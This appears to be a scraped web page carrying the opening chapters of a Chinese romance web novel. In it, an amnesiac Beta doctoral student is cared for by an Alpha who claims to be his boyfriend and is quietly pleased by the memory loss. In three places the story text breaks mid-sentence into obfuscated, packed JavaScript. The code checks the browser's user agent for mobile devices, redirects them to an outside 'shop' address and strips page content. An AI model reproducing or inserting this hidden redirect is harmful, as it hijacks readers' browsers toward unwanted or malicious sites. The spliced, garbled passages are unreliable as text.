《失忆后美人Beta恋爱了》 1. 第 1 章 文/百户千灯 001 投给主刊的论文得到正式接收了吗? ——这是黎白榆意识苏醒后的第一个念头。 他的第二个念头就是。 ……什么论文? 身体似乎颇为沉重,四肢传来异样的疲惫。 意识也不甚清明,滴淌出一种茫然的未知感。 黎白榆花了非常重的力气去睁眼,在薄光朦胧的视野中,他看到了一张距离自己不远的脸。 但他的意识却完全没能获取到任何信息。 隐隐抽痛的大脑就像罢工了一样,有着机器停转的滞涩感。 黎白榆勉强抬眼,正好对上了在场另一个人的视线。 目光相交,室内漾开了一瞬的寂静。 “你醒了。” 打破安静的男声低凉沉冷,带着惹人耳根微痒的磁性。 四周的光线微微亮,并不刺眼,但黎白榆的身体依旧很不舒服。 耳边还在持续着嗡鸣似的碎声,黎白榆干涩的唇瓣轻碰,咬出了几个字形。 他的开口几乎没能发出任何声音,但淡色的唇形被人紧盯着,于是说出口的几个字也很容易读明。 黎白榆在问。 你是谁……? 床边的男人沉默了一秒,笼落下来的目光依旧紧锁着他。 听到这句话,那张寒峭的脸似乎更冷了一分。 男人还没说话,黎白榆又喃喃地,自语似地用气声问出了一句。 “我是……谁?” 空气一瞬间变得更为安静,但黎白榆的耳边却轰开了更重的嗡鸣。 他的头晕得太厉害,竟是没能等到答案,就这样再度陷入了昏迷。 浮浮沉沉之中,意识漂泊不定。就连昏睡都显得有些许混乱。 不过漫长的沉眠到底还是起到了应有的修补作用,再醒来时,黎白榆的眩晕感终于好转了一点。 视野中的光线已经由之前的自然光变成了灯光照明。 似乎他这一睡,就睡过去了大半天。 耳边的嗡鸣声也褪去了大半,而周围的声音好像更嘈杂了几分。 黎白榆眼睫轻动,听到身侧不远处有人在讲话。 “病人上周出过车祸是吗,头部受了外伤?” “他六个小时前清醒过一次,但不记得自己是谁了?” “是。” 回答的低沉男声距离耳畔更近,紧接着,黎白榆的身体忽然一沉。 他感觉自己被托着后背和膝弯横抱了起来,黎白榆睁眼,就看到了男人颈间的喉结,和对方线廓分明的下颌。 不过下一秒,眼前的景象就挪开了。 黎白榆被抱放回了一张床上,横抱起他的男人起身退开,黎白榆的视野中出现了大片的蓝白色。 他发现自己穿着长袖的病号服,躺在一张病床上。 刚刚将他推过来的担架车被撤走,而他从袖口露出的手腕上,还系着一条纸质的住院腕带。 一旁穿着白大褂的问话者望过来,正好看到黎白榆睁眼。 “呦,醒了?” 黎白榆看到白大褂的胸前别着工牌,上面写着主任医师,还标着“粤城第一人民医院”。 是公立医院,看名字还很大概率是三甲。 医生姓麻,他询问了一下黎白榆目前的身体感觉,以及认知状况,简单确认过后,又问道。 “你有回想起自己的相关信息吗?” 黎白榆努力回想了一下,摇头。 大脑依然空白一片。 “什么都想不起来了?”医生说,“那还记得自己名字吗?” “黎白榆……?” 微哑的清冽嗓音终于开口,黎白榆的尾音有着一点轻淡的不确定,但不明显。 医生点头,安慰道:“能记得名字也行。” 黎白榆微微垂下了眼睛。 还站在旁边的男人忽然开口。 “他从手环上看出来的。” 麻医生:“……” 医生也朝黎白榆的住院腕带看去,上面的确标着病人的基本信息。 黎白榆,男,Beta,23岁。 “……眼神还挺好。” 这小伙子记忆受损,收集信息的能力还挺强。 病床上的黎白榆循声看了眼旁边的人,发现刚刚开口的,就是自己第一次醒来时看到的那个男人。 对方也朝他看了过来,眉眼冷淡,肃寒。 麻医生再度开始询问,在医生的帮助下,黎白榆开始大致了解自己的情况。 他上周出了车祸,受伤后就陷入了昏迷,今天中午才刚刚苏醒。 身上的外伤并不算严重,但黎白榆的记忆出现了问题。之前六个小时的昏迷期间,他已经做完了核磁共振和脑部CT,初步推断是记忆存储相关的脑区受损,因此导致了失忆。 而更具体一些的诊断,还需要等到检查结果出来。 主任医师似乎很忙,见黎白榆暂时没有大碍,麻医生就先离开,去了另一个病房。 跟着记录医嘱的年轻医生走之前,还提醒了一句,说有个检查费用需要补交。 黎白榆正想问怎么交,一旁始终站在那里的男人已经点了头。 等医生走后,男人拨了个电话,旋即拿起床边柜子上的两张单条,对黎白榆说。 “先休息一会儿,护工马上到。” 他伸手把床边的淡绿色隔帘拉起,将此处隔围出一片很适宜休息的空间。 等护工来了之后,男人才离开了病房,前去缴费。 大病初醒的确会有止不住的疲惫,但黎白榆并没有阖目睡去。 他掩唇低咳几声,伸手拿过了床边的病历袋,拆开,自己翻阅了一遍。 身旁并没有电子设备,黎白榆的手机不在这里,不知道是被别人拿着,还是在车祸中丢失了。 黎白榆目前能找到的信息源,就是这个病历袋。 而如他所料,这里的确是公立三甲医院。 医院的床位也很紧张,黎白榆虽然是上周出的车祸,但之前一直在其他医院养伤,今天才刚转到这里来。 这些脑部的相关检查,也都是今天刚做的。 黎白榆看东西很快,也很安静。 他翻阅的时候,那位刚来的年轻护工就坐在床边的板凳上,负责看顾他。 虽然做的是陪护,此时也没有得到什么吩咐,但护工忍不住,总会悄悄看向这次的雇主。 这个小老板长得……也太好看了。 很少能见到这么好看的Beta——一般来说,还是数量最为少见的Omega相貌会更加惹眼。 护工来之前已经确认过雇主的资料,但看到人的第一眼,却还是生出了动摇。 他甚至反射性地开始想,自己有没有按照看护条例,给雇主带Omega医用隔离贴过来。 但黎白榆确实用不到什么隔离贴。 他真的是Beta。 黎白榆的话很少,见过护工后也只是向人很轻地点头示意了一下,便没有了更多动静。 此时他半靠在调高的床头,垂眼在看手中的病历,散落下来的微长发丝微微遮住了青年端丽的侧脸,床被下的身形清瘦而单薄,缺乏血色的手背看起来比纸页还要苍白。 那是一种完全超越了性别的美感。 他坐在那里,清绝而平静,无声地透着一种忧郁沁凉的清冷。 不过实际上,虽然黎白榆的确话很少,但他此时在考虑的却很多。 从刚才和医生的对话里,黎白榆就意识到,自己丢失的应该是情景记忆,也就是个人亲身经历的相关部分。 而他对世界的普遍性知识仍有记忆,还掌握着大部分常识。 比如黎白榆知道人分为六种性别,桌子不会开口说话,苹果可以吃,这里是中国。 他现在翻看病历和检查单据,除了了解信息,也是为了依靠常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自己现在在读博……这件事让黎白榆觉得似乎想起了什么。 对方会是他同组的同学吗? 但隐隐的,黎白榆又觉得不太像。 面前的人明显比自己沉稳,处事又如此周到老练。虽然骨相很年轻,但男人的气场看起来,其实不太像是涉世不深的学生。 那……是自己的小导师? 黎白榆望着面前的男人,对方黑发黑眸,戴着一副薄边的眼镜,但依然遮不住眉骨的立体。 他的眉眼天然带着锋利,那种隐含进攻性的压迫感似乎有些过于危险,让人在第一时间甚至没能意识到,男人的相貌其实非常英俊。 虽然感觉不到信息素,但黎白榆还是清晰看出。 显而易见的,对方是个Alpha。 这种鲜明的气势像极了强势的教导者,而且学术圈本来就非常卷,现在的博导也可能很年轻。 但是说到卷和年轻,隐隐的,黎白榆又生出了另一种更为不安的猜测。 ……总不能是他的大导吧? 这个念头冒出的瞬间,黎白榆顿时感觉自己的额角又有点抽痛。 出车祸昏迷,忘干净了论文进度,一觉醒来看到冷着脸的大老板在自己床边站着—— 这和最吓人的噩梦有什么区别? 这种事,哪怕只是设想一下,都感觉可以让人再昏过去一次。 黎白榆的思维乱七八糟地发散着,在很短的时间内想到了很多,而这时,他才听到男人的回答。 对方的声音依旧那么地平稳低沉。 “我是你的男朋友。” 黎白榆:“…………” ……啊?! 2. 第 2 章 002 黎白榆非常意外。 男朋友? 他的第一反应就是—— 自己居然会谈恋爱? 虽然失忆了,可长久以来时间塑造出的身体习惯还在。黎白榆能感觉到自己对人多的嘈杂场面会不适应,大概率有些社恐。 而且他很不希望给别人添麻烦。 这样的自己,理应更喜欢一个人待着才对。 ……怎么就有男朋友了? 况且,不说男性和男性谈恋爱,Alpha和Beta的配对好像也不太—— 想着这些的黎白榆,“惊讶”两个字就写在了脸上,非常好读明白。 原本他的神情一直很淡,透着清冷的疏离感,这时的讶然却让那张过分美丽的脸,透出了一种鲜活的生动来。 男人低眸一瞬不瞬地看着他,嗓音依旧磁沉。 “我是严野客,和你在学校认识,已经四年了。” 他的语气冷淡,沉稳,透着一种天然令人信服的理所当然。 黎白榆愣了下:“我们在一起四年了吗?” 他直觉这话似乎有点不太对。 严野客看了看他,说。 “确认关系是三个月。” 黎白榆这时才点头,摩挲了下指尖:“哦……” 三个月的话,听起来好像没什么问题了。 不过,黎白榆想了想,又意识到。 两个人认识了四年,最近才在一起。 那就是……日久生情吗? 黎白榆思索的时候,严野客依然看着他,漠淡的神色让人看不出任何情绪。 眼见黎白榆似乎暂时接受了这个说法,Alpha也没有表现出什么愉悦。 很快护工买了晚餐回来,严野客叫了黎白榆一声。 “吃点东西。” 晚餐盒子上印着医院的标志,看起来是医院食堂的饭。 东西是护工买来的,应该也不会有什么问题。 但黎白榆的胃不是很舒服,可能是因为大病初醒,他吃不下什么东西,最后只喝了一点米汤。 严野客则再度离开了病房。 第一天入院,还有很多事情要处理。 比如结办转院手续,询问查房时间,甚至包括另买睡衣毛巾、洗漱用品。 黎白榆的手机还在车祸中没了,严野客又带了台新手机给他,手机里有张流量卡,但不是黎白榆之前的号码。 原本的电话卡,还需要等到明天上班时间,黎白榆本人在线上过一下人脸验证,才能去补办。 这么多零散琐碎的事情,Alpha一应处理得井井有条,没有丝毫疏漏和不耐。 就连晚上入夜后的陪护,男人也没有扔给护工负责。 他反而是让护工下班,自己留在了这儿。 黎白榆甚至没需要去公用的水房排队,严野客直接去打了热水,把热毛巾和牙杯都拿了过来,让他在病房内洗漱完。 这间病房还是双人间,隔壁床也住着病人。 夜色深了,室内没有多余的空位,严野客撑了一张折叠床,就睡在黎白榆的病床旁。 陪护真的是件很麻烦也很费心的事,黎白榆想。 那张折叠床是临时租的,尺寸也是通用的长度,黎白榆看到严野客坐上去的时候,连腿都没能放开。 他太高了,腿又长,睡在上面想来不算舒服。 而且傍晚黎白榆就注意到了,Alpha的衣着似乎材质不菲。他的裤子挺括而熨帖,没有一丝细褶。 只是今晚这么睡一夜,明天肯定会被压出皱痕。 哪怕是骗子,好像也没有必要做到这一步。 黎白榆依然对自己谈恋爱的事有些意外。 失忆本就是一个远超出日常处理范围的状况,而“有了男朋友”这件事,更加放大了这种不真实感。 但他对严野客给的信息确实没生出什么违和感。 对方的举止付出,也完全没有向他索取什么。 就算是另有企图,也得有能图的东西…… 黎白榆是Beta,对方却是个Alpha,总不可能是冲着情或是色来的。 难道自己是个富豪,然后包养了一个……小白脸吗? 黎白榆认真思索。 自己喜欢这种类型的吗? 牙口很好,喜欢吃冰? 他忍不住按了按瘦削空荡的肚子。 总感觉,自己的胃好像没那么坚强呢。 病房内已经关了灯,床侧也安静了很久,黎白榆本以为严野客早就已经睡了,但他才刚揉按了几下自己的胃,就听到了一旁起身的动静。 “不舒服?” 黑暗中,Alpha似乎坐了起来,沉声问。 黎白榆愣了下,摇头。 “我没事。” 两人说话的声音都很低,还能听到隔壁床传来的打鼾声。 黎白榆后知后觉,不知道是不是这里的条件太简陋,不舒服,导致Alpha没能睡着。 但严野客什么都没说,黑暗中也看不清彼此的神色。黎白榆只感觉对方好像沉默地盯着他看了一会儿,才淡声道。 “有事叫我。” 被角被伸手过来的男人掖了掖。 “睡吧。” 隔壁的鼾声依旧,黎白榆躺好,闭上了眼睛,心想。 能做到这么周全的陪护,要么是对方的责任心很强。 要么……就是他们两人的感情真的很好吧。 *** 第二天起来,黎白榆又做了许多更细致的检查。 除了头部,他的身上还有几处车祸导致的外伤,右手小臂也早被白色的绷带裹住。 不过这些伤并不算严重,之前也都上过药,现在已经处于恢复阶段。 主要还是失忆的问题有点大。 就像黎白榆推测的那样,他的确是失去了几乎全部的情景记忆。 人的长时记忆大致分为语义记忆和情景记忆,前者指的是关于世界的普遍性知识,后者则具有个人性质,是对亲身经历的相关记忆。 语义记忆和情景记忆在大脑中的存储位置不同,由不同的脑区进行存储和处理。 所以单独丧失一部分,也是有可能的。 黎白榆确认之后倒没有太沮丧,他只觉得还好。 好歹自己没有丢掉认知和常识。 论文方面,他也没有急于一时。 毕竟现在精神还没完全恢复,而且黎白榆得知,他是在北美读的博士,现在是回国休假。 再者严野客也说了,他的平板和电脑都没损坏,等出院后随时可以查看。 黎白榆今天还做了增强的核磁共振,结果显示他的脑部创伤并不严重,预计观察三天左右就可以出院。 拿到检查结果时,黎白榆不由松了口气。 不过,做增强检查需要使用造影剂,黎白榆从用完造影剂之后就开始口舌发苦,检查完几个小时后,这种苦依然没有完全消散。 他不由觉得自己整个人都蔫了。 是那种失去了生活希望的蔫。 黎白榆靠在病床上,没精打采地低头看自己的手。 有点生无可恋。 太苦了。 想吃点好吃的。 麻医生过来时,看到的恰好是这一幕。 黎白榆的病床更靠近窗边,此时室内的帘布都被拉开。辉灿的夕阳染入室内,映着青年略长的发丝和美丽的侧脸,让他生出了一种蕴光似的剔透感。 额角贴着雪白纱布,失去了过往记忆的美人坐在那里,长睫微垂,神色怅然。 薄透得像是一碰即碎,满溢着脆弱的茫然。 饶是见多了各种病患的医生,也不由被触动着生出了一点怜惜之意。麻医生走过去,问。 “还在头疼吗?” 黎白榆回神,闻言,摇了摇头。 他没有头疼。 只是在思考等下究竟能吃点什么好吃的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14148750|150256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >医生完全不知道看起来如此苍白脆弱的清冷Beta刚刚在想什么,他还带来了一个新的问题。 “你醒来之后,有没有感觉到自己的情绪有异样?” 黎白榆被问得有些茫然:“没有。” 他觉得挺正常。 麻医生却不由皱了皱眉。 他把心理评测的结果和影像单的诊断报告一起拿给了黎白榆。 “我们和精神科联合诊断发现,你的情绪记忆可能也有损伤,遗失了过往的大部分情绪。” “直白点说,就是忘了曾经最热烈的爱,也忘了过去最浓郁的恨。” “再见到以前最爱或者最恨的人,你可能都不会有任何感觉,也不会有情绪波动。” 这种情况其实有点危险,病人有可能会由此生出抑郁倾向,所以需要医生做专门的叮嘱和沟通。 不过,黎白榆倒没什么特别的感觉。 他反而觉得,自己可能本来就不太会把情绪表现出来。 社恐……是这样的。 但黎白榆还意识到了另一件事。 那岂不是说,他对自己男朋友的感情也一并消失了? 黎白榆还询问了一句:“是越深刻的感情,丢失得越彻底吗?” 麻医生点头,表示:“过往的临床经验大多是这样的。” 黎白榆不由怔了怔。 那他面对严野客的感觉如此平静,完全陌生…… 是说明,自己以前对这位Alpha的感情非常深吗? *** 这件事在黎白榆得知的同时,也被告知了病人的家属。 麻医生和黎白榆交谈的时候,严野客就站在病房的门外。 Alpha垂低了漠凉的视线,从得知黎白榆情绪丢失后,他就一直很沉默。 本就严肃俊冷的男人,此时让人更猜不透他在想什么。 半晌,严野客抬指,从衣兜里抽出一个方盒。 他自方盒中敲出了一只烟。 值班室离这边的病房不远,恰巧有护士经过,看到严野客拿烟,便习惯性地想要出言制止。 但紧接着,护士就感觉到了不对。 她整个人都被此处浓度过高的信息素激了一下,立刻反应过来了什么。 护士朝严野客手中的烟盒望了一眼,果然看到了上面的特殊标识。 她顿时将刚才的话咽了回去。 不过想了想,护士还是提醒了一句。 “先生,这里是医院,你的信息素好像在外溢。如果不能控制,请尽快贴上隔离贴。” “嗯。” 被告诫的男人冷淡地低应了一声。 护士这时才离开,走远几步之后,还是忍不住搓了搓胳膊。 信息素浓度高的Alpha真是可怕, 哪怕没刻意针对谁,哪怕她是Beta,都让人完全受不了。 也是此时,病房的门被推开,麻医生恰好从里面走出来。 他一眼就看到了门外的严野客。 Alpha低着头,暗色的眼睛被薄冷的镜片遮住了,看不清神情。 但他的长指夹着烟,送到唇边咬住的动作很慢,整个人都有些郁然阴沉的模样,看起来似乎相当低落。 空气中留存的外溢信息素,也清晰体现出了男人方才的情绪起伏。 麻医生知道这个Alpha是黎白榆的男朋友,也知道对方完全被男友遗忘的事,他不禁出言安慰道。 “没关系,家属不用太伤心。病人的脑部受伤不重,之后还有机会慢慢恢复的。” “而且你们都年轻,就算失忆了,感情也可以继续培养嘛。” 严野客沉默片刻,又低应了一声。 他依然没有抬眸,医生也完全不知道。英俊严冷的Alpha低着头,咬着烟,手臂垂落插回兜侧的动作依旧很慢,但这种沉缓并不是在难过。 而是在兴奋。 ——是需要颇费心神,才能将将藏下去的过浓兴奋。 3. 第 3 章 003 黎白榆到底还是没能吃到什么好吃的。 因为他的肠胃还很虚弱,身体的供能仍旧在依靠点滴瓶里的营养剂和葡萄糖。 虽然车祸导致的外伤不算严重,但黎白榆还有明显的贫血、低血糖和发炎症状。身体气力不足,人也没什么精神。 就连这几天走路都不能太久,时间一长,就需要借力。 黎白榆做了更系统的检查,好在身体没什么大问题。 就是那一副美人皮相更白了,素皎皎似雪如霜。 医生说他是病后体虚,静养一段时间会好很多。 三天后,黎白榆顺利出院,开车照看他的人依然是严野客。 男人还道,他们要回的地方也不是黎白榆家,而是两人之前的住所。 “你说回家不方便,回国的几天都在和我住。” 黎白榆点了点头。 他已经猜到自己和家里大概关系并不亲近,对“回家不方便”也没有生出多余的疑问。 这几天黎白榆也看过了自己那场车祸的事故报告,当时是网约车不慎与一辆救护车相撞,事故中受伤最重的就是他。 而且周围的主干道还都在堵车,好在附近就有一家私立医院,黎白榆得以被及时送医。 出事时黎白榆是一个人,严野客并不在车上,得知消息后,Alpha就去了医院照看他。 黎白榆之前也想过,这么周到体贴的“男朋友”,会不会另有图谋。 毕竟他醒来后接触的故人只有严野客一个,而且初醒时,自己身边也什么东西都没有。 但很快,黎白榆就拿回了自己的各种证件:身份证,护照,国内外的各家银行卡,学生证,校园卡。 甚至包括校内咖啡馆的充值卡,一应俱全。 都好端端地被Alpha交还给了他。 而且今天,黎白榆上了车就发现,虽然他不太清楚汽车的品牌和市价,但只看车内的宽敞与舒适性,以及车载设备的智能程度,也能轻易猜出。 这车的价格肯定很贵。 黎白榆还看到了车窗上角的本年度合格标。 背面的信息栏中,车主正是严野客的名字。 Alpha看起来一点也不缺钱。 也不太像小白脸。 悄悄看了一眼男人漠然寒峻的侧颜,黎白榆在心里默默补充。 还是更像大老板。 就连住处也一样。汽车开到了目的地,这边虽然是老城区,但公共区域的规划建设都很不错。 而且两人要去的住所,居然是一个独栋。 黎白榆下了车就发现,这栋别墅有三层楼,且和其他的住房都有些距离。 周边绿化很好,环境幽静。 看起来隐私性很强,完全不会被打扰。 他正站在门前,抬头望着小楼,就听一旁停好了车的严野客走了过来。 “有想起什么吗?” 男人问。 黎白榆蹙眉,最后还是摇了摇头。 “没有。” 青年说得有些歉意,一旁的Alpha从他身边走过,拿出了钥匙去开门。 叮铃的钥匙碰撞声中,黎白榆却忽然听到了一句。 “或许是好事。” “?” 黎白榆抬头去看严野客,却见Alpha垂眼插钥匙,神情平静,面容无波。 好像根本没开口过。 黎白榆不由怀疑,是不是自己听错了。 他的注意力很快就被另一件事吸引,因为一进门,严野客就从玄关上拿起了一个提袋。 “手机卡补办好了。” “谢谢。” 黎白榆忙接过来,顺口问。 “多少钱?” 拿好装着手机卡的提袋,黎白榆就跟着男人脱外套,换拖鞋。 换好后朝客厅走了几步,他才意识到,严野客没有回答。 男人只说了一句:“先给你介绍下房间。” 黎白榆想了想,也没有立刻追问。 他跟着参观完,回到客厅坐下,把电话卡插到了新手机里。 身体还没完全恢复,转了这一圈,黎白榆又生出了些许倦惫。 他的喉咙也还在痛,发炎导致的水肿让喉咙有些吞咽困难,每次呼吸都有咸咸的涩疼感。 不过黎白榆并没有先去休息,而是打开网银,用补好卡的手机收验证码,绑上了自己的几张银行卡。 黎白榆一边操作手机,一边轻声问。 “你的银行卡号是多少?” 一旁端水过来的Alpha长指微紧,动作明显停了一下。 黎白榆还在看着屏幕确认。他之前就估算过这几天的花销总数,包括医院的费用,零散的日用开销,还有这台新手机。 总额绝对不算个小数。 所以黎白榆肯定得还给对方。 他的银行卡每天都有免密额度,虽然一张不太够,但好在几张卡一起,总算可以凑齐。 一直没等到答复,黎白榆抬头望过去,却见严野客没在看他。 “我们之间不需要这个。” Alpha在他身侧坐下,开口就直接拒绝了。 “亲……”黎白榆顿了顿,说,“亲男友,明算账。” 他屈指蹭了下自己清俊素白的脸颊,用商量的语气低声说。 “还是算明白一点比较好吧。” 严野客说得很冷淡:“不是钱能解决的问题。” “?” 黎白榆觉得这话好像有点怪。 他想了想,没想明白,也习惯性地没有多问,就继续道。 “等我想起微信的支付密码,我还是会转给你的。” 青年的语气依然和之前一样温和淡润,但话里的坚持态度很明显。 Alpha这时才把目光移过来。像以往惯常的那样,过分直白地凝视着黎白榆。 他盯着黎白榆搭在脸侧的冷白指尖看了一会儿,最终报出了一串数字。 十六位,听起来是国内的信用卡号。 黎白榆把钱转过去,确认了户主姓名,果然没有问题。 他又想,对方应该对数字很敏感吧,居然能记住这么一长串银行卡号码。 “你是学金融的吗?” 黎白榆顺便问了一句。 不知道为什么,他刚一说完,就感觉还在看着他的男人似乎面色更沉冷了一分。 但等黎白榆抬眸望过去时,却又完全没有从严野客的脸上看出异状。 Alpha眉眼漠淡,依然是那副沉着持重的模样。 “嗯。” 他答复了。 黎白榆又看了看人,最终还是觉得是自己想多了。 错觉吧。 他记得严野客说过,两人是四年前在学校里认识的。 四年前自己刚读博,刚进入现今这个学校。 而对方学金融,斯坦福的商学院在整个北美排名都算是很靠前。 这有什么好不悦的? 黎白榆没有多想。转完钱,他又通过短信验证码,登上了自己的微信。 由于新设备登陆,微信里并没有过往的聊天记录。这点黎白榆也料到了,他直接去翻了下联系人。 扫过一眼,黎白榆就发现通讯录中,所有朋友的备注都是真实姓名,并没有其他称呼。 就连“爸妈”、“室友”、“师兄”一类的代词都没有。 更没有“男朋友”。 黎白榆在通讯录中下拉到尾部,很快看到了严野客的微信。 对方的头像很简单,浓郁黑红的背景,包裹着一颗浅蓝金色的星星。 而他给严野客的备注也是本人姓名,后面还跟了个A。 是Alpha的意思。 看起来并不亲密,甚至有些生疏。 黎白榆还没开口,一旁的男人似乎已经瞥见了自己的头像。 像是猜到了Beta在想什么,严野客直接道。 “之前发生过留学生账号被盗,通过联系人被骗取大额资金的案件,后来你就把全部联系人的备注都改成了本名。” 黎白榆点了下头:“这样。” 这件事他自己也回想起了一点,隐隐记得确实是自己备注的。 黎白榆又翻了翻通讯录,犹豫了一下,看向严野客,尝试着问。 “那我父母的名字……” 严野客的回答却很干脆。 男人把黎白榆双亲,包括他弟弟的名字都说了出来。 黎白榆略有讶色。 “怎么?”严野客低眸望他,问。 黎白榆摇摇头。 他只是没想到,对方连自己家人的名字都知道。 自己之前……对这位男朋友讲过这么多事吗? 但严野客还在看他。 黎白榆发觉,对方经常会这样目不转睛地盯看自己。 不知道是不是Alpha们的性格天生如此,惯于专注且强势。 还是严野客本人的习惯性举止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14148751|150256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎白榆之前就注意到,严野客的眉弓挺拔,山根很高,是那种立体感非常强的长相。 优越的骨相使男人的侧脸呈现出一种格外突出的凌厉与英俊。 黎白榆不介意欣赏帅哥,但被这样的帅哥盯着看的时候,就让人很难轻易搪塞过去。 他的存在感和侵略性都太强了。 眼见严野客还在等他的回答,黎白榆默默地用指腹蹭了蹭指关节,还是把那个问题说出了口。 “我是想问一下……我们的关系,进展到哪一步了?” 他之前就想问,两人的感情是不是真的很深。 “我们?” 严野客把水杯推放到了黎白榆的面前,手背冷色的青筋淡淡浮显。 “该做的都做了。” 黎白榆愣了一下:“……?!” 他反射性地看向Alpha,对方也在望着他。 严野客的眸色很深。黑发黑眼在这个人口众多的国家何其常见,但黎白榆撞进对方的眼底,却总觉得,他很少见到这么纯然沉暗的瞋黑。 深而沉,不掺混一分杂色,好像也映不进丝毫的光亮。 黎白榆原本心有怀疑,潜意识里,他总觉得自己不习惯和别人的亲密接触。 但眼前这样的严野客,看起来却根本不像是会开玩笑的人。 而Alpha的下一句,更动魄惊心。 “你右侧脚踝有颗痣,在踝骨的正上方,和左眼下方的浅痣一样。” “被亲碰的时候,痣会变红。” 黎白榆:“…………” 严野客平静地问:“怎么了?” 黎白榆艰涩地扯了扯唇瓣,磕绊了一下,才找回声音。 “没,没什么,就是觉得我失忆,什么都想不起来了。” 青年实在不擅长应对这种事情,连话题转移得也相当生硬。 “可能我也什么都不会了,真让人发愁,哈哈。” 黎白榆想起来自己之前为什么没问了。 ……因为他根本不知道该怎么接话。 就在他僵硬地干笑一声,尴尬到自己都完全不知道在说什么的时候,却听到对方接了话。 “不用愁。” 严野客把水杯的把手转过来,摆放成了更容易被Beta碰到拿稳的形态。 他淡淡道。 “你现在建个新号,发一条在粤城的夏天,披发还能保持发丝蓬松清爽的诀窍,一天都能保底涨粉十万。” 黎白榆:“?” 他顺着男人的话摸了摸自己的头发,未被扎拢的过肩长发果然都是干爽软顺的触感。 但黎白榆确实没有想起来什么能让头发干爽的诀窍。 他这种社恐,也不大可能真的去做自媒体。 对自己的相貌资本一无所觉的Beta低头,瞥见自己肩上的金色,还又想起了之前没来得及问的另一个疑惑。 “我染发了吗?” 黎白榆的发色非常浅,是比普遍的黑或棕发浅得多的淡金色。 但无论从母语、姓名、骨相,甚至包括饮食喜好,黎白榆都记得,自己是个不折不扣的东方人。 严野客道:“天生的。” 黎白榆点了点头。 他也看到了,自己指间梳落的一根发丝上,从发尾到发根都是均匀长成的同一种灿然颜色。 Beta心想。 自己是不是有点缺微量元素? 所以才导致发丝这样发黄。 而且—— “头发怎么这么长了?” 黎白榆嘀咕了一句。 他声音很轻,但严野客还是听到了。 Alpha抬眸,高挺的眉骨在双眸之上压出一片更沉的幽幽暗色。 “长了不好吗?” 黎白榆伸手拉了拉,柔凉的发丝在他皙白的指间倾淌出光芒薄亮的金灿灿。 “长了容易被扯住。”他说。 “……” 严野客瞬间沉默。 Alpha冷而微狭的眼睛眯了眯,薄凉的丝边镜片之后,他瞋黑的眸色显得愈发莫测。 尤其在下一秒,黎白榆还恍然似的接着道。 “啊,我想起来了。” 此时此刻,唯一的听众似乎气息微缓。 长发,被扯。想起来。 黎白榆并没有发现自己说的这些词拼组成了一种什么样的可能,他只听到Alpha没什么波澜地问了一句。 “想起了什么?” 4. 第 4 章 004 被这样问时,黎白榆还低着头,拿起手机,翻看了一下微信的收藏和备忘。 他的情绪坦然得多,解释说:“我应该是实验期间才把头发留起来的。” 结合微信里的收藏日志,黎白榆果然也确认了这一点。 “每次大的项目开始之前,我会把头发剪短,方便做实验。之后忙起来没时间理发,头发就会留起来。” 看现在的头发长度,应该是一个大的科研课题刚结项,正处在休息期。 这也让暂时还没找回具体科研进度的黎白榆稍稍松了口气。 他又抬手拢了下自己的头发,丝毫没意识到自己动作之间,手臂和颈后显露出的颀秀线条究竟有多好看。 Beta自言自语般的盘算。 “现在放假,估计开学还要剪一下。” 过了两秒,身侧的男人才接话。 “这边手艺不好,先别剪了。” 严野客这话说得淡然平静,毫不心虚。 全不在意自己一句话就诋毁了全粤城的托尼。 他垂眸,指腹轻捻,肌肤发痒似的,长指无声地敲点了一下冰冷的桌面。 那么好的手感。 剪掉可惜了。 黎白榆对此并无所觉。他看完收藏和备忘,又简单地翻了一下朋友圈。 微信里的联系人大多数是同学,初高中、本硕博都有,现在朋友圈内刷出的最新内容,也基本都是学术或假期的游玩消息。 黎白榆又去看了一眼自己的朋友圈,发现自己发的动态很少,只有一些转发的学术要闻,或是课题组和实验室招人的公告。 基本上一年也只有一两条。 不过,他每条动态下面的点赞都很多,点赞的头像列表能占满整个屏幕。 朋友圈里这么多热爱科研的同学么? 黎白榆没有多想,他又去看了一下家人的朋友圈。 严野客之前提起时还说到过,黎白榆双亲的具体性别。 他的父亲是位男性Alpha,爸爸则是个男性Beta。黎白榆还有一个Alpha弟弟。 他弟弟的朋友圈是一片空白,设置了三天可见。父亲的朋友圈里则仅有一些转发的工作动态。 唯一的私人信息在他爸爸的朋友圈里。设置了半年可见的动态中有一张合照,看时间是在Alpha弟弟中考后拍的,配文也是在庆祝中考顺利结束。 那是一张全家福。 尽管,“全家”的照片里只有三个人。 许是黎白榆对着那张照片看的时间有些过久了,一旁的Alpha忽然叫他。 “白榆。” 黎白榆抬头,两人视线相交,严野客反而先问道。 “怎么了?” 黎白榆有些社恐,但还不至于读不出旁人的关照。 他想了想,最终也没隐瞒:“我在想,自己是不是领养的。” 严野客眉廓微沉。 他沉默一秒,缓缓道:“你没提起过。” 黎白榆也跟着沉默了一下。 